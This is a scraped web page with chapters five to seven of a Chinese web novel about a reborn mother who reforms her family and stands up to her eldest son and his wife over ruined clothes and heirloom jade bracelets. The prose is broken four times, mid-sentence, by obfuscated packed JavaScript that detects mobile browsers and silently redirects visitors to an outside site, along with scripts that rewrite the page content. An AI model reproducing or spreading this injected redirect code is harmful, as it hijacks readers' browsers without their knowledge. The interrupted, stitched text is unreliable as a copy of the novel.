明城是重工业城市，老是因为电力紧张会导致停电，一个星期就能停个一到两天，且时间根本不固定，上辈子就是因为她不舍得让老头子在家里用电用蜡烛，这才导致了他每到月底清账的时候，只能在店里饿着肚子加班，后来才把身体饿坏，早早就离开了人世。 老头子是个读书人，家里大大小小的事都处处让着她，可她却仗着这点，让他成了这个家牺牲最多的人。如今她重活一世，才终于知道自己做的有多过分，不就是点几根蜡烛吗，有啥好舍不得的。 “那这些都是给我买的？”方安全一脸的喜出望外。 “对，都是给你买的，以后咱家有电就用电，就算停电了也能继续照亮，你想点多少咱就点多少。” “成。” 方老头儿数了数蜡烛，足足有20根，心里默默盘算了一下，这都够他用好久了，开心是开心，但是他刚回来的时候听见老四说那剪碎的衣服已经被老大媳妇儿拿走了，他在想后面要怎么弄，老婆子在面对这老大一家可是每次都吃亏了。 “老大媳妇儿晚上来拿衣服了？” “嗯。” “你就不担心？” “担心啥？” “老大媳妇儿那是个啥脾气，你剪的那衣服她回家要是看见了，指定要找老大闹，你也不怕老大对你有什么想法？” “我怕他？他是我生的，我能怕他？”徐本英轻嘲地一笑，“看他老婆欺负他老娘的时候咋不知道生气，这种瘪犊子玩意，不要也罢。” 听了这话，方老头儿一脸诧异地看着眼前的老婆子，这些孩子中，她最看重的就是老大，还经常说以后老了还是要靠他。 而现如今，老婆子竟然说老大是瘪犊子玩意儿？他觉得老婆子的变化实在是太大了，大得都有点不认识她了。 他有些发愁，这老婆子该不会真的把脑子摔坏了吧？ 要真是这样，那可如何是好啊！ “别想了，明天事儿留给明天愁吧。”徐本英沉浸在今晚战斗赢了的爽感中，当然不知道老头子是在愁她，反而安慰了他一句，便转头就睡了。 又是一天清早，方家人陆陆续续起床，此时，方楠早已经把饭做好了，端上了桌子，连碗筷都已经提前摆好了。 徐本英是第一个到的，老头子紧跟着她其后，后来小儿子方小虎也出来了。 方楠一看见小弟，随意问了句：“虎子，你昨晚几点回来的？姐一直等着你呢。” 徐本顺着这句话也看着自家小儿子，这还是他重生后第一眼看见这个最小的儿子。 “忘了。”方小虎瞥见他妈的眼神，十分反感，生怕她又要问东问西的，那这早餐他还不如不吃，正要找机会溜走，他妈却先他一步开了口。 “老四，昨晚的野参汤给虎子留了没。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129785|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方楠笑着说：“当然留了，那可是他亲手挖的，他咋能不喝。” 方小虎一怔，他妈一开口竟然不是在教育他，而是关心他有没有喝汤？ 也是，他自己冒着生命危险挖的野参，怎么也要喝上一口，他决定了，汤尝完了就走，不然他打赌，他妈下一句就要开始教育他了。所以他连坐都没坐，一副随时准备要走的样子。 他一边站着喝汤，一边观察着他妈那边的反应，很快，他察觉到他妈又要开口说话了。 看看看，劈头盖脸的教育还是要来了。 徐本英看着乖乖喝汤的小儿子，想起来这小子好像一直和他四姐关系最好，当初也是因为她执意把老四嫁给一个赌徒，他才后来恨上自己。 这辈子她是不可能再让老四跳那个火坑了，那么他是不是就不会恨她了？ 算了，无所谓，徐本英现在只想心疼她的老四，她得叮嘱老五以后早点回来，省的老四跟着操心。 “虎子，你以后早点回来，别让你姐担心。” ？ 方小虎一脸震惊，他妈没事儿吧，这都第二句了，还没开始骂他？！ 徐本英撇了一眼老五，看他迟迟还没有坐下，以为他还有事儿，便说了句：“你是不还有别的事？要有就先走呗。” ？？？ 第三句了，还没骂他？？ 这是要破纪录了？！！！ 方小虎觉得简直离了个大谱。 昨晚回来，三哥跟他说妈这两天变化大，他还不信，这会儿他是真有点信了。 他吃惊地问：“妈，你不问我昨晚去哪儿了？” 徐本英上辈子就是把这老五管严了，不仅处处和她作对，最后还犯了事儿进去了，这辈子她才不想管了，“你这大孩子了，管你那么多干啥，别给老娘惹事就行。” 方小虎吃惊的坐了下来，他倒要看看他妈是真的变了还是装的。看见小虎这个反应，方楠和方老头儿在一旁偷着笑。 “妈，你们先吃，我去趟厨房，马上就来。”方楠想去厨房给母亲再挖点咸菜，她最爱吃自己腌制的咸菜了。 徐本英嗯了一声，看着女儿在厨房忙碌的身影，突然有些恍惚，她上辈子也是在家里这样忙前忙后的吗？ 她还默默想着呢，一旁的老头子突然发出赞叹声打断了她，“老婆子，你快尝尝，这粥熬的可真不错啊。” 徐本英听了赶紧也尝了一口，喝到嘴里的粥混杂着玉米的清甜和天然的豆香，不仅不寡淡，还越嚼越香。这粥看似简单，其实里面的大渣子是需要用冷水提前泡上好几个小时的，泡好后还要用小火慢熬，直至看见玉米粒开花。 看来老四应该是很早就起来了，方家的这座小院儿也是整洁明亮，估摸也是她早上起来打扫的。 要说她以前能有闲功夫给老大一家做牛做马，也是因为这个家都有老四替她打理。 但她上辈子却从来没有想过这些，甚至没有在乎过老四的默默付出，到最后还把她嫁给了一个赌徒来维持自己和老大媳妇儿之间的关系，这样想想自己可真不是个人。 5. 第五章 方楠一出来就看见了母亲脸上严肃的表情，她把咸菜一放下，就小心翼翼地问：“妈，咋了，是不好吃吗？” “没有。”徐本英夹了满满一筷子的咸菜掺在粥里搅拌一起，馋的她都要流口水了，她想这口已经很久了，“妈是觉得老四这手艺是越来越好了。” “是啊，真不错。”方老头儿也在一旁连忙点头附和。 父母突如其来的夸赞让方楠瞬间有些不好意思，特别是她的妈妈，以前可是从来不夸她的，这两天却已经夸了她几次了，她这几天开心的像是在做梦一样。 “我去叫三哥。”方楠的语气有些掩饰不住的高兴。 徐本英很快叫住了女儿，“喊他干啥，你吃你的。” “那三哥上班......会不会迟到？” “别管他，迟到了就扣钱，多扣几回他说不定就长记性了。” 徐本英想到上辈子，老三就是被自己这样宠坏的，那么大的人了，上个班还要当妈的去叫，有一次她忘记了没去叫，就真的迟到了，回头还把她给怪了一顿，她是又给钱又道歉才给哄好的。 “是啊，四儿，听你妈的，快坐着吃，别管你哥了。”方老头儿也喊着女儿别管。 方楠犹豫了两秒便坐了下来，还没拿起筷子，方老三就从里屋破门而出，一边往外走，嘴里还嚷着不满：“妈，我的衣服你咋也没洗，你这让我穿啥出门啊？这两天我可是要跟小美约会的。” 徐本英语气里满是烦躁，怒怼道：“你自己没长手啊，也想像你大嫂一样全给你剪了。” 方小虎眨巴着个大眼睛，望望他爸，又望了望他姐，眼里充满着吃瓜的欲望。 妈剪了大嫂的衣服？ 她啥时候敢对大嫂这么虎了？ 求求你们谁告诉我，这两天我都错过了啥剧情？ “他们能和我一样吗？他们分家了，但我还......”方老三的话还没说完，就被徐本英的眼神恶狠狠地瞪了回去。 他觉得还是算了，他已经发现了，这两天撒娇这招对他妈已经没用了，大不了后面让老四悄悄给他洗，那是个老实的妹妹，说啥她都听。 眼下还是赶紧吃饭吧，再不吃就被爸和老五抢完了。 徐本英看着老三一坐下就狼吞虎咽，吃饭跟猪拱食没啥区别，嫌弃的连自己吃饭都没了胃口。 看来一旦看一个人不顺眼，就会越看越不顺眼了。 “我说件事儿，特别是你俩儿听着。”徐本英对着方家两兄弟说道。 老三腮帮子鼓的满满得，和老五异口同声道：“啥事儿啊妈？” “从今往后，这个家是谁的事情就谁自己做，比如说洗衣服这种事儿，除了你爸的我给洗以外，其他的都自己洗。再说吃饭这件事儿，大家可以一起吃，但是要交伙食费。饭是老四做的，她不用交，老五还在读书也不用交，但他可以帮忙做别的家务来代替，你爸的工资全部上交在我这里，当然也不用，后面的我想到了再说。” 看见两儿子脸上的表情，一个比一个精彩，徐本英才懒得理，直接先问了最小的儿子的想法，“老五，你有啥意见？” “没......我没有。”方小虎除了震惊以外，他倒是没啥意见，只要他妈不管他学习，啥都好说。再说了他打小就是四姐给带大的，要是他帮着家里多做一点，四姐能少干一些，他有啥不乐意的。 徐本英对此满意地点了点头，又转头问老三，“老三呢？” 方老三像是还没缓过来似的，连嘴里的饭他都咽不下去了，呆呆地问：“妈，你刚说的那意思，我没理解错吧？合着饭钱就我一个人交呗。” 徐本英尴尬地撇了撇嘴，看来她这三儿子在钱这方面也不傻，“你也可以这么理解。” 方老三沉思了几秒，又猛地站了起来，像是突然想到了什么，嘴里念念有词地跑走了，不到一会儿便看见他拿着一把成串的大蒜出现，在他妈的身边左绕右也绕，嘴里还一直喊着：“我不管你是何方妖孽，赶紧从我妈的身上下去。” “三哥，你这是做啥？”方楠不解地问。 “妹儿，哥跟你讲，肯定是有什么东西上咱妈身了，蒜能驱邪，我得帮咱妈把这些脏东西驱下身去。” 方老三刚说完的下一秒，就被突如其来的一巴掌扇的头发晕，他抱着脑袋直喊疼，手里的一大串大蒜也全部掉落在地。 “滚犊子。”徐本英气的大喊：“有你这么咒你老娘的吗？” 方老三疼得呲牙咧嘴，也不忘反抗：“我不交，我又没和你们分家，交什么伙食费。” “那就分家，你爱上那家吃就去哪家。”徐本英重活一世，才不惯着这些逆子，“老三，你工作这么久别说是给我和你爸上交工资了，就连双袜子都没买过吧，这个家你出过一份力吗？凭啥让你一直白吃白喝！” 方老三没想到他妈会这么说，有些慌了，他绝对不能分家，这些年要不是吃家里的住家里的，就他那点破工资，哪儿有钱买礼物给小美啊！ 他完全顾不上脑袋的疼，强撑着笑喊了声‘妈’，撒娇道：“之前不是您和爸都同意的吗，说我工资低，让我留着自己花就行。” “以前是以前，现在我改变想法了。”徐本英板着脸道。 “妈，我还是不是你亲儿子了。”方老三撅着嘴，以示可怜。 “也可以不是。” 一直没说话的方小虎听到这句话，嘴里的一口粥差点喷了出来，以前他妈可是最喜欢三哥了，这是两天不见，判什么两人来着？ 真该死，关键时候这个词他给忘了，明明前两天还学了的。 方老三委屈极了，没办法，只能转头求他爸：“爸，你看妈说啥呢......” 方老头儿却视而不见，拿手帕擦了擦嘴，“咱家是你妈说了算，爸先上班了，有啥话好好跟你妈说。” 看着他爸提着包就走了，方老三是彻底没招儿了，心想算了，大不了就把伙食费给交了，毕竟以后他跟小美结婚的事儿还要指望他妈，不能撕破了脸。 但洗衣服做家务他根本就不会，便用商量的语气跟他妈说道：“妈，我是个男人，而且我要上班，洗衣服这事儿能不能让四妹代劳啊......” 方楠也应了下来：“是啊，妈，我在家里没事儿做， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129786|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗你们衣服也是顺手的事儿。” “咋啦？你们一个个都开始跟我唱反调，老三，衣服不会洗就学，给你老娘学费，我可以教你，老四，你也不听妈的话了是不？” 方楠看见母亲生气，连忙解释：“妈，你别生气，我没有那个意思？”她不再敢说话了，好不容易妈刚喜欢她一点，绝对不能惹她生气。 徐本英看着女儿唯唯诺诺的样子心里叹了好大口气，这孩子性子咋这么软。不过想想也怪她，要不是她这些年来重男轻女，咋会把孩子逼成这样一个牺牲的性格，最后还落个那样的结局。 这辈子可不行，她绝不会再让女儿落入火坑。 嫁不嫁人的事儿先后说，目前得先给她找个事儿干，人走出去了，看看不一样的世界，说不定性子自然而然就能改了。 有了光作伴，方老头儿一下班就早早地回来了，晚饭过后，他独自伏在案前算着账目，徐本英则坐在一旁给自己蒲着扇来解暑。 她想了一整天也没想出来要给老四找个什么事儿做，她的学历低，要想在城里找个铁饭碗还真是不容易。 而她自己明天也要去上班了，徐本英还有些担心，毕竟她已经很久没有上手工作过了，也不知道手生了没。 她每年手底下还会带一两个实习生，可不能让年轻姑娘们看了笑话呀。 想到这里，她突然想到，或许可以让老四进场当实习生，先跟着自己干？ 厂里有不少新进厂的职工都是老工人的儿女，但是难就难在老四不是学这个专业的，甚至连初中文凭都没有，也不知道厂子能不能放宽政策，给老四一个进厂学习的机会。 眼下是八月份，她记得每年纺织厂都会差不多这个时间点招一批实习生进来，这个机会她得替老四争取一下，要是老四真有机会进来，她就亲自带，那怕后面不能转正，老四有了技术，她也能在退休前名正言顺地把工作给老四。 这样一想，她顿时不为此事儿发愁了，就是不知道老四自个儿是咋想的，这两天得先找个机会问问她的想法。 突然，徐本英听到外面有人扯着嗓子嚷嚷，听这声儿像是老大媳妇儿的声音。 这麻烦精这么快就找上门儿了？ “我问这到底是你们谁干的。”陆青把一包裹的碎衣服全部扔在了方家的大门口，昨晚她回去本来就是一肚子气，她也发誓以后再也不去那婆家触霉头了，直到她把包裹打开找干净衣服换的时候，看见自己的衣服全都被剪的稀碎，直接两眼一黑，气晕了过去。 那里面除了她的工作服，还有她上个月新买的布拉吉，那是商场里的最新款式，一件可是要她半个月工资的。 “你们方家就是这么欺负我一个当媳妇儿的？咋地？现在是敢做不敢当了是吧？” 徐本英闻言正要起身，这时却听见了老三回怼的声音，她又瞬间坐了下去。 方老头儿见此，问她：“老婆子，老大媳妇儿都闹上门来了，咱们不出去看看？” 徐本英笑了一下，依旧慢悠悠地扇着蒲扇，“老三皮实，经得起造，咱再等等吧。” 方老头儿：“......” 6. 第六章 陆青前脚把衣服扔的满院儿都是，方家老大方老大后脚就弯着腰连忙去捡回来。 这可是大院子，他可不想让别的邻居都看见，然后背地里笑话自己娶了这样一个跋扈的媳妇儿，那也太没面子了。 方老三看见了他哥的行为对此嗤之以鼻，这哥什么眼光啊，找个这样的媳妇儿，不像他的女神小美，又漂亮还温柔。 “哟稀客啊，大嫂，你昨晚不是说咱们求你都不来方家了吗，咋这我们还没求，你自己就跑来了。” 方老大听见自家弟弟这样和自己媳妇儿说话，连忙拿出了长子的威风，“老三，不许你这样跟你大嫂说话。” 方老三切了一声，以表示对他哥的鄙夷，“你这会儿装什么老大了，你真以为我会怕你？” 这次还没等到方老大说话，陆青直接冲了上来，一把揪住了方老三的衣服，“好啊，你个死老三，该不会就是你吧，我说妈昨晚对我咋像变了一个人似的，说不定也是你这个小人在背后搞的鬼。” 陆青本来最怀疑的就是这方老三了，现在看他一脸得瑟样子，就更确信是他了。 “你不就是嫉妒你妈对你大哥好吗，你就这样霍霍我的衣服来报复我们是吧，你知道我这些衣服有多贵吗？你赶紧给我赔！” 方老三一听说让他赔钱，立马没了看好戏的心思，也不嘴硬了，连忙否认道：“大嫂，你别往我身上乱按罪名啊，你这衣服可不是我......” 老三的话还没说完，陆青的手就放下他的衣领，改为抓他的脸挠他的脖子，一边抓挠还一边喊：“肯定就是你，死老三，全家就你老是和我作对，你敢剪碎我的衣服，看我今天不抓瞎你的脸。” 方老三脑子里第一闪现的就是这两天还要和小美约会，可不能毁容。 他瞬间抓住了陆青的手腕往外推，嘴里还威胁着：“我警告你啊，你可不是我婆娘，我妈都不打我的，你再打我，我可是要还手的。” 这时已经有邻居们听见动静儿出来看了，方老大听见了各种议论声，觉得脸上没面儿，可眼下这种情况，一个是自己媳妇儿，一个是自己亲弟弟，他也不好在外人面前拉起偏架，只能装装样子，小声劝两人：“你们别闹了，让别人看了咱家笑话。” 陆青才不怕别人看了方家的笑话，她又不住这里，大不了以后不来了就是，抬不起头的又不是她，从昨晚她就开始受气，直到刚刚又听到这臭老三说要对她动手，这一刻她不得不爆发了，剪了她的衣服还想动手，简直欺人太甚。 想到这儿她又往老三的脸上又狠狠抓了一爪子，留下一道长长的血印。 “嘿，你还手一个试试，有本事你今天让我一尸两命啊。”陆青说完还把自己的肚子往前挺了挺。 方老头儿听见外面的动静越来越大，他看了看身旁的老婆子，依旧是纹丝不动，面无表情。他急了起来，“老婆子，都打起来了，要不咱还是出去看看吧，这邻里邻舍的看着也不好啊。” 徐本英才不想出去呢，她这会儿甚至闭上了眼睛在听外面的戏，看起来十分享受的样子，“老头子，我知道你很急，但你先别急。” 方老头闻言依旧：“......” “放心，老三抗造，皮实着呢，而且我也想让邻居们都知道咱家老大找了个啥媳妇儿了。” 方老头儿看老婆子坚持，他也只好听着照做，只不过早就没了算账的心思了，趴在窗口仔细听着外面的动静，生怕错过了什么。 屋外，方楠怕三哥真的失手伤了大嫂肚子里的孩子，那可是爸妈盼了很久的孙子，要是大嫂和孩子真出了什么事儿，她妈该伤心死了...... 她连忙跑到两人中间，使出自己最大的力气分开了他们，而后喊了一句：“大嫂，你们别打了，确实不是三哥剪坏你的衣服。” 被分开以后的陆青头发早就乱成了一团鸡窝，袖子也被她自己撸得很高，俨然一副泼妇模样，以往积攒在外人面前的形象这一刻全没了。 而方老三更惨，脸上被抓出了好几条血痕，又长又红，触目惊心，从小到大，他那里受过这样的委屈。 陆青换了口气，这才发现几米之外有不少邻舍在看着他们，刚才正在气头上，她都没发现出来看热闹的人越来越多了。 她瞬间冷静了许多，整理了下她的头发和衣服，才问的方楠，“那我问你，不是他还能是谁？” 面对大嫂的质问，方楠不能说是自己母亲干的，她只能把这事儿揽在自己头上。 “大嫂，对不起，是我不小心剪坏了你的衣服，可是我没钱赔给你，要不这样吧，你打我一顿出出气，这事儿就算了行吗？” 终于有人出来承认了这事儿，陆青怒火中烧，破口大骂了起来，“好啊你个老四，原来是你啊，没看出来啊，平日里装的一副老实相，原来整个家最坏的就是你啊，你是不是看妈对我比对你好，你就嫉妒我，想方设法地害我是不是。” “大嫂，我......没有”方楠眼眶发红，眼中的泪水看样子马上就要掉下来了。 “明明是你弄坏了我的东西，你现在一副哭相装给谁看啊，最讨厌的就是你这种恶心的人。”陆青故意说的很大声，她要让别人知道她今晚失控那都是有原因的。 方楠什么也不敢说，她觉得只要大嫂把这口气出出来就好了，可旁边的人却开始对她指指点点了起来。 “这方家小女儿平常看着挺和善的呀，咋做出这种事儿。” “谁知道呢，现在的人啊，知人知面不知心，她平常就不被徐大姐重视，说不准真是嫉妒她妈对她大嫂好。” “......” 看方楠委屈的快要哭了，方老三作为哥哥，面对外人的时候还是向着妹妹的，“你们都乱说什么呢，这事儿不是我四妹干的。” 方老头儿听矛盾又转向了老实的女儿，提醒老婆子一句，“咋又都开始说老四了？咱们真的不出去看看吗？” 这次，他一回头，老婆子已经窜的一下起身了，大步如飞地往外走。 “哟，刚刚她都自己承认了，现在又说不是她了，咋了，这衣服是从你们方家拿出来的，不是你干的，也不是她干的，难不成还是咱妈干得了？”陆青以为方家公公婆婆都不在家，肆无忌惮地张口就来。 “没错，就是老娘干的。”大门突然被推开，徐本英从里屋走了出来，方老头儿也紧跟其后。 瞬时，吓了陆青一大跳，“妈，你和爸都在家呢。” “一直在呢。”徐本英直接走到了老四的身前，像是鸡妈妈护崽一样将她护在身后。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129787|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她不出来不行了，再不出来，这疯狗该咬到老四了，傻女都被欺负的掉小珍珠了。 陆青见此撇了撇嘴，她婆婆啥时候这么护她这小姑子了，之前不是把那臭老三当个宝吗。 不过这不是重点，重点是她婆婆刚刚出门的时候说的那句话。 “妈，我没听错吧，你说我这衣服全部是你剪的？” 老大比自家媳妇儿更震惊，他妈对自己媳妇儿有多听话，他是看在眼里的，她咋可能敢剪他媳妇儿的衣服？ “妈，不可能，你咋可能......你是不是替老三......”整个家只有老三才会这么干，他妈这是在护着老三呢。 “说了是我就是，老大你读那么多书都读到狗肚子里去了，听不懂老娘的话了是吧？”徐本英语气里透露出不耐烦。 方老大不可置信地盯着他妈，他妈怎么突然在这么多人面前这样说他？ 这还是他妈了吗？ “妈，你这是咋了？”方老大震惊地只问的出这一句话了。 徐本英一出屋子，就看见外屋围满了人，她毕竟是真的剪了老大媳妇的衣服，这事儿要是从别人嘴里传出去还不知道怎么说呢。 老四还没找对象，不能让别人因为她以后对老四有了偏见，便问方老大，“你们是想在门外说还是进来说。” “当然是进去说了。”方老大听他妈这么问，连忙回答道。 他可不能让这么多的人看了他的笑话去，便扯着一脸怨气的媳妇儿随着他妈还有老四的身后进了屋子。 而方老三和方老头儿也紧跟他们其后，进去以后方老头儿还谨慎地插了自家的门栓。 这老婆子万一一会儿又跟孩子动手了，可不能让别人知道。 进了屋子，徐本英和方老头儿便找了个位置坐了下去。 刚坐稳，方老三就一个滑跪，扑在了两人的腿前，当下有爸有妈二选一的情况下他选择先抱住他妈的大腿，会哭的孩子才有糖吃，他打小就是用的这招对付的他妈，百试百灵。 他只用了两秒酝酿了下情绪，眼泪便流了下来，流到了伤口处浸的他肉疼，瞬间眼泪哭的更多了，“妈，您一定要为我做主啊，你看大嫂把我这英俊的脸给抓的，小美看见了，会不要我的，我要是说不到媳妇儿，可要一辈子都打光棍了呀。” 徐本英见这场面，先是本能地愣了一下，这场面她上辈子没经历过啊！ 她不得不感叹，老三真是生错了年代啊，这要是晚生个几十年，直接就能当影帝了呀。 本来她这几天是很看不惯老三身上滑头的臭毛病的，但没想到在这关键时刻还派上了用场，那她何不将计就计，把这场戏好好演下去，顺便在方老大的身上好好坑一笔？ 下一秒，徐本英也开始眨巴眨巴自己的眼睛，表现出衣服心疼的模样，“我的老三啊，你的脸咋被打成这样，真是打在你身，痛在妈的心啊，你顶着这张脸出去，这不都知道咱家大嫂打了小叔子吗？” 别人看不出来这徐本英是装的，方老头儿可是一眼就瞧出来了，他憋着笑，回想她刚刚还说过老三是个抗造的这种话。 直到被徐本英发现瞪了他一眼，他才连忙紧急收起一个偷笑。 有气打他们就行了，千万别再打我了。 7. 第七章 徐本英看一旁的老头子瞬间老实了，便开始加大戏码，也跟着老三抹起了眼泪，“可是老三啊，这事儿你找我有啥用啊，也不是我打的呀。”一边说还一边给伏在脚旁的老三悄悄使了个眼色。 老三是个滑头，立马就接收到了他妈给的信号，爬了起来，跑到陆青面前。 “大嫂，你没搞清楚状况就把我的脸打成这样，我不管，你得赔我的医药费和精神损失费，不然我娶不到老婆了以后就赖上你和我大哥。” “.......” 陆青面对老三的无赖无语死了，她还想找剪她衣服的人赔钱呢，现在反倒被老三给先讹上了。 她暗暗地掐了丈夫一把，以示让他来解决这个麻烦。 被掐的方老大倒吸一口凉气，他媳妇儿每次打他的时候手劲儿咋这么大呢？ 为了不被她掐死，他连忙往前去，先把弟弟跟媳妇儿隔开，然后又转身把媳妇儿扶到了一旁的椅子坐下。 最后又走到了老三的面前，笑着解释：“三弟，今晚都是误会，你大嫂她还怀着孕呢，你刚那样吓着她咋搞。” “吓着她？”方老三气的双手拍打，“那她刚打我的时候咋没说吓着我了？” “......” 方老大有些心虚，毕竟他看见方老三脸上的伤确实有些严重，但他要是不现在护着自家媳妇儿，回家他的脸就可能会比这个还严重了。 “老三，你也要理解一下你大嫂，你说她最喜欢的几件衣服全被......妈给剪了，咋可能不激动，咱都是一家人，你看在大哥的面子上，就别跟她计较了。” “你面子？”方老三‘噗昧’一声，轻笑出来，“大哥，你能有啥面子，你还真把自己当根葱了？” 方老大窘的一下红了脸，“老三，我还是不是你大哥了？” 方老三才懒得回答他这种幼稚的问题，紧接着白了他一眼，“少废话，赶紧赔我医药费和精神损失费，不给我钱，明天我就去你俩单位上走两圈，让所有人都知道这事儿。” 最要面子的方老大立马投降，连忙挥手道：“别别别，家丑不可外扬，老三，你说吧，你要多少？”说完方老大就开始做出了掏钱的动作。 谁知方老三眼疾手快，把方老大刚刚掏出来的钱全部一下夺了过去。 方老大急了，那可是他半个月的工资，“老三，你这......” 方老三露出狡黠的笑容，哼道：“要不是看在你是我大哥的份上，这些我还觉得不够呢。” 言归正传，方老三的事儿解决了，该回到徐本英的主场了，她咳了两声，严肃的问道：“老大，你向来都是无事不登门，今晚一来就打人，你到底想干啥啊？” 方老大则顺着这话问了一句：“妈，剪衣服那事儿你说是你做的，可你为啥要这样做啊？” “我算是看出来了，老大，你今晚是来找我算账的了？” 方老大见他妈表情严肃，说话也丝毫不让步，觉得有些奇怪。 昨晚陆青一回家就跟他说妈几天不见性子大变，他本还不信，但这会他有点信了。 可一个人怎么能够说变就变，而且还变得这么离谱？ “妈，您说笑了，我找您算啥账啊，我们就是觉得您突然变得有些奇怪，想了解下情况，青青只不过是让您帮忙洗了几件衣服，你之前不是也一直这样做的吗，咋这次就突然剪了她的衣服呢？” “你还好意思好奇？”徐本英冷笑了一声，“别人家都是媳妇伺候婆婆的，到了我这儿反而倒过来了。” 方老大当然也知道他妈给他们洗衣服不对，其实他妈不光是给他们洗衣服，每次在送完衣服后还会留下来给他们又做很多家务才离开的。 但是媳妇遇上妈，他必须选媳妇。妈又不会跑，媳妇万一跑了，他的孩子说不定以后就要喊别人爸爸了。 为此，方老大也搬出了杀手锏，“妈，你都不知道，你这次害的青青昨晚哭了一宿，她还说要把你的孙子打掉呢。” 说完他向媳妇儿露出一种信誓旦旦的表情，说到打掉孙子，他这老娘一定会投降。 但实际上被威胁的对象徐本英根本对此无所谓，那是人家孩子，想打掉就打掉呗。 如何呢？ 那又怎？ 而且她记得上辈子老大媳妇儿的这胎到最后也的确没有留住，后来...... 后来，老大为了安抚自家媳妇儿，还从她这里要走了她娘留给她的陪嫁，一对儿上好的翡翠镯子。 那本是她要留给老二的，当初她选了让老二独自下乡吃苦，所以便决定把那对翡翠玉镯作为是给女儿的赔偿，但最终还是进了老大一家的口袋。 那对玉镯成色非常的好，两人转手卖了不少的钱，一部分的钱补贴了大媳妇儿的哥哥，还了赌债。 另一部分钱他们拿去换了个大房子，之后又把大媳妇的爸妈也接进去住了。 说来可笑，拿她的手镯换的房子，她没有进去享福，却让别人住了进去。 而她的二女儿才是最惨的那个，牺牲明明最多，却最终什么也没得到。 她回想着老大刚才说话一环接着一环，以她对自己这个儿子的了解，她总感觉他今晚真正想说的话还在后面等着她。 难道...... 他俩是想借此发挥，把剪衣服的事儿小事变大，让她产生愧疚与害怕，以此来提前要走她的一对儿镯子？ 那要真是如此，那就别怪老娘演的你们丢了夫人又折兵。 徐本英盘算好以后，故意露出了不舍的表情，顺着老大的话继续问了下去，“啊？你们要打掉我的乖孙儿？” 方老大听他妈的语气充满了后悔和害怕，顿时有些洋洋得意，他就知道，一提孙子，他妈绝对要投降。 “妈，你也是知道的，青青向来待人大度，你这次虽然犯了大错，但她也不是不能原谅你，只要你送一个她喜欢的东西，那些衣服她也就跟你算了，你的孙子也能顺利诞生了。” 说完方老大还朝自己媳妇儿特意看了一眼，果然媳妇儿脸上的颜色好看了许多，其实昨晚他被媳妇儿暴打了一顿，为了保命，他申请一个补偿她的机会。 那就是可以趁着这次矛盾，把他妈那儿的一对镯子要走，那镯子价值不菲，可以立马换个大房子。 他媳妇儿听了换大房子，眼睛一亮，分析了半晌，也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129788|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得他说得有理，这才没继续打他。 那手镯是二妹下乡，爸妈为了补偿，专门留给她的，所以他虽觊觎过，但也没好意思开过口，而现在，机会不就来了？ 而且据他了解，那二妹早就在乡下结婚了，还死了老公，现在独自在乡下守寡，照顾婆婆。 以后根本就没机会回来，那种好东西留给她也是浪费，还不如给了他。 他可是这家的老大，要再好的东西，也不为过啊。 徐本英眼睛精光一闪，露出一丝冷笑，她果然猜对了，这是奔着她的传家宝来了。 她这好大儿还是一如既往的只要媳妇儿不要妈啊，那就别怪她以后只要女儿不要儿子了。 “老大媳妇儿喜欢的？”徐本应‘哦’了一声，揣着明白装起了糊涂，故意问：“那是什么东西啊？” 她倒要看看这老大一家的脸皮有多厚。 老大两口子听到老太太这么问，这回高兴坏了，要是拿到玉镯，那换新房子的事儿就是十拿九稳了。 特别是陆青，她换了大房子以后，就想把她爸妈都接来住，这样把老家的房子给她哥作为婚房，说不准她很快就能有新嫂子了。 到时候她可就是陆家的功臣了。 两人高兴之际，坐在一旁不说话的方老头儿却突然开了口，提醒儿子：“老大，我和你妈的工资可是月月都拿来补贴你们几个了，多了我和你妈可拿不出来的。” 老大笑了笑，畅言道：“爸，你说哪儿去了，我们咋可能会问你们要钱。” 徐本英在心里暗骂，臭不要脸的，你要老娘的钱还要少了？ 但她为了心中的计划，不得不继续装傻，便问了句：“老大，那不是钱？妈这儿也没啥好东西了。” 